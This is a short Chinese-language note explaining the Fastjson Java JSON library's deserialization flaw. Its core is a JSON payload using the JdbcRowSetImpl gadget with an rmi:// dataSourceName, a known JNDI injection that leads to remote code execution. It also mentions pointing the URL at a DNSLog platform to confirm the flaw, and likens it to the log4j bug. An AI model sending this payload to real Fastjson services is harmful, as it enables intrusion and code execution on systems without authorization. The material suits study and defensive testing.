fastjson反序列化

        Fastjson是阿里巴巴的开源 JSON 解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean ，是目前 Java 语言中 最快 的 JSON 库。

对应的payload：

{

"b" :{

"@type" : "com.sun.rowset.JdbcRowSetImpl" ,

"dataSourceName" : "rmi://127.0.0.1:1099/test" ,

"autoCommit" : true

}

}

主要的一点是 dataSourceName传参的：rmi:// DNSLog Platform/xxxx。fastjson和logj2差不多都是Java反序列化漏洞。